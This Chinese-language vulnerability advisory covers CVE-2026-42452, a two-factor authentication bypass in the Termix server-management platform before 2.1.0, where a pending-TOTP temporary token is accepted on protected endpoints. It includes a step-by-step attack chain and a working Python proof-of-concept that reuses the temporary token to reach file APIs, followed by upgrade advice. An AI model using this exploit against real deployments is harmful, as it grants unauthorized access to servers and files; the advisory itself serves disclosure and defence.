IPBUF安全漏洞报告
English
CVE-2026-42452 CVSS 8.1 高危

CVE-2026-42452 Termix 2FA认证绕过漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42452
漏洞类型
认证绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Termix

相关标签

认证绕过2FA绕过Termix逻辑漏洞CVE-2026-42452

漏洞概述

Termix是一个基于Web的服务器管理平台,支持SSH终端和文件编辑。在2.1.0版本之前,该平台存在一个严重的逻辑漏洞,导致双因素认证(2FA)失效。当用户账号启用TOTP时,登录接口会颁发一个带有pendingTOTP状态的临时JWT令牌。该令牌本应仅用于TOTP验证流程,但由于身份验证中间件的缺陷,系统错误地接受了该临时令牌作为访问常规受保护端点的凭证。攻击者只需知道用户密码,即可利用此令牌绕过TOTP验证,直接获取系统访问权限,将双因素认证降级为单因素认证。

技术细节

该漏洞的根源在于Termix的认证中间件未正确校验JWT令牌的状态。在标准的TOTP认证流程中,用户提交密码后,服务器生成一个标记为`pendingTOTP`的临时令牌(temp_token),客户端需携带此令牌提交TOTP码以换取最终的有效令牌。然而,受影响版本的中间件在处理请求时,仅校验了令牌的签名和有效期,未检查令牌载荷中的`pendingTOTP`状态是否允许当前操作。这使得攻击者可以在完成密码验证的第一步后,截获`temp_token`,并直接将其用于访问需要完全认证的API接口(如文件管理或SSH终端)。由于中间件信任该令牌,服务器误认为用户已通过所有验证,从而允许攻击者在未提供TOTP码的情况下进行操作,严重破坏了账户的安全性。

攻击链分析

STEP 1
1. 获取凭证
攻击者通过钓鱼或其他方式获取目标用户的用户名和密码。
STEP 2
2. 发起登录请求
攻击者向`/users/login`接口发送包含用户名和密码的请求。
STEP 3
3. 获取临时令牌
服务器验证密码成功后,返回一个临时JWT令牌(temp_token),该令牌状态为`pendingTOTP`,理论上仅用于下一步的TOTP验证。
STEP 4
4. 绕过TOTP验证
攻击者不进行TOTP验证,而是直接使用该`temp_token`作为Authorization头部,向受保护的API端点(如文件管理、终端)发起请求。
STEP 5
5. 获取未授权访问
由于认证中间件的逻辑缺陷,服务器接受了该临时令牌,允许攻击者在未输入TOTP码的情况下访问敏感功能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://example-termix.com" login_endpoint = "/users/login" protected_endpoint = "/api/files/list" # Step 1: Authenticate with username and password # This simulates the first step of the login process credentials = { "username": "victim_user", "password": "victim_password" } response = requests.post(target_url + login_endpoint, json=credentials) if response.status_code == 200: data = response.json() # Extract the temporary token intended for TOTP validation temp_token = data.get('temp_token') if temp_token: # Step 2: Bypass TOTP by using the temp_token directly on a protected endpoint headers = { "Authorization": f"Bearer {temp_token}" } # Attempting to access a resource that should require full auth (password + TOTP) exploit_response = requests.get(target_url + protected_endpoint, headers=headers) if exploit_response.status_code == 200: print("[+] 2FA Bypass Successful! Gained access to protected endpoint.") print("[+] Response:", exploit_response.text) else: print("[-] Bypass failed. Status code:", exploit_response.status_code) else: print("[-] No temp_token found in response.") else: print("[-] Login failed.")

影响范围

Termix < 2.1.0

防御指南

临时缓解措施
建议立即将Termix平台升级至2.1.0或更高版本以修复此漏洞。如果无法立即升级,应严格限制管理后台的网络访问来源,仅允许受信任的IP地址访问,并强制所有用户使用强密码,以降低凭证泄露后被利用的风险。

参考链接